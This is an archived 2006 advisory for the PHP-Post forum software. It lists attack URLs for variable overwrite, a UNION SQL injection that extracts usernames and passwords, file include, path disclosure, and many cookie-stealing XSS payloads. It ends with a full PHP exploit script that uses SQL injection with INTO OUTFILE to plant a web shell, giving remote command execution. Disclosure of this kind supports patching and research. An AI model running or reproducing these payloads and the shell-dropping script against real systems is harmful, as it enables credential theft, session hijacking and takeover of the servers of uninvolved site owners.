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securityvulnsSecurityvulnsSECURITYVULNS:DOC:14326
HistorySep 19, 2006 - 12:00 a.m.

PHP-Post Multiple Input Validation Vulnerabilities

2006-09-1900:00:00
vulners.com
20

Hello,

PHP-Post Multiple Input Validation Vulnerabilities

Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : [email protected]

variables over write,

this php script is injected with variables over write bug
try to make a new variable with the name of any exist variable and it will over write it :)

example
index.php?table_prefix=myprefix:)
profile.php?table_prefix=myprefix:)%20where%201=1/*
header.php?msgid=w&table_prefix=myprefix:)

Sql
profile.php?user='%20union%20select%20usernumber,7,7,username,7,7,7,7,7,7,username,7,userpassword,7,7,7,7,7,7,7,7%20from%20phpp_users%20where%20usernumber=1/*

Include

footer.php?template=22

Xss

pm.php?s=o&replyuser="><script>alert(document.cookie);</script><"
dropdown.php?txt_jumpto="><script>alert(document.cookie);</script><"

template.php?txt_error=<script>alert(document.cookie);</script>
template.php?txt_templatenotexist=<script>alert(document.cookie);</script>

add split to any link like
editprofile.php?split=<script>alert(document.cookie);</script>
search.php?split=<script>alert(document.cookie);</script>
index.php?split=<script>alert(document.cookie);</script>
pm.php?s=i&split=<script>alert(document.cookie);</script>

all the files are injected

if logged in
loginline.php?txt_logout=<script>alert(document.cookie);</script>
if not
loginline.php?txt_login=<script>alert(document.cookie);</script>

Full path
footer.php?template=22

template.php?template=red&logincookie[user]=ddddd

template.php?template=red

lastvisit.php?

Exploit for sql injection:-
Make phpshell named soqor.php in the forum dir

#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/* PhP-post Sql injection Remote Command execution Exploit
/* By : HACKERS PAL
/* WwW.SoQoR.NeT
/
print_r('
/***********************************************/
/
PHP-post remote sql injection make phpshell /
/
by HACKERS PAL <[email protected]> /
/
site: http://www.soqor.net /');
if ($argc<2) {
print_r('
/
– */
[-] Usage: php '.$argv[0].' host
[-] Example:
[-] php '.$argv[0].' http://localhost/phpp
/***********************************************/
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$url=$argv[1];
$exploit1="/footer.php?template=11hack11";

     Function get_page&#40;$url&#41;
     {

              if&#40;function_exists&#40;&quot;file_get_contents&quot;&#41;&#41;
              {

                   $contents = file_get_contents&#40;$url&#41;;

                      }
                      else
                      {
                          $fp=fopen&#40;&quot;$url&quot;,&quot;r&quot;&#41;;
                          while&#40;$line=fread&#40;$fp,1024&#41;&#41;
                          {
                           $contents=$contents.$line;
                          }


                              }
                   return $contents;
     }

 $page = get_page&#40;$url.$exploit1&#41;;

         $pa=explode&#40;&quot;&lt;b&gt;&quot;,$page&#41;;
         $pa=explode&#40;&quot;&lt;/b&gt;&quot;,$pa[2]&#41;;
         $path = str_replace&#40;&quot;footer.php&quot;,&quot;&quot;,$pa[0]&#41;.&quot;soqor.php&quot;;
         $var=&#39;&#92; &#39;;
         $var  = str_replace&#40;&quot; &quot;,&quot;&quot;,$var&#41;;
         $path = str_replace&#40;$var,&quot;/&quot;,$path&#41;;
         $exploit2=&quot;/profile.php?user=&#39;&#37;20union&#37;20select&#37;201,&#39;&lt;?php&#37;20&#39;,&#39;system&#40;&#39;,&#39;&quot;.&#39;$_GET[cmd]&#39;.&quot;&#39;,&#39;&#41;;&#39;,&#39;die&#40;&#41;;&#39;,&#39;?&gt;&#39;,8,9,10,11,12,13,14,15,16,17,18,19,20,21&#37;20INTO&#37;20OUTFILE&#37;20&#39;$path&#39;&#37;20from&#37;20phpp_users/*&quot;;
 $page_now = get_page&#40;$url.$exploit2&#41;;
 Echo &quot;&#92;n[+] Go TO $url/soqor.php?cmd=id&#92;n[+] Change id to any command you want :&#41;&quot;;
 Die&#40;&quot;&#92;n/* Visit us : WwW.SoQoR.NeT                    */&#92;n/***********************************************/&quot;&#41;;

?>

WwW.SoQoR.NeT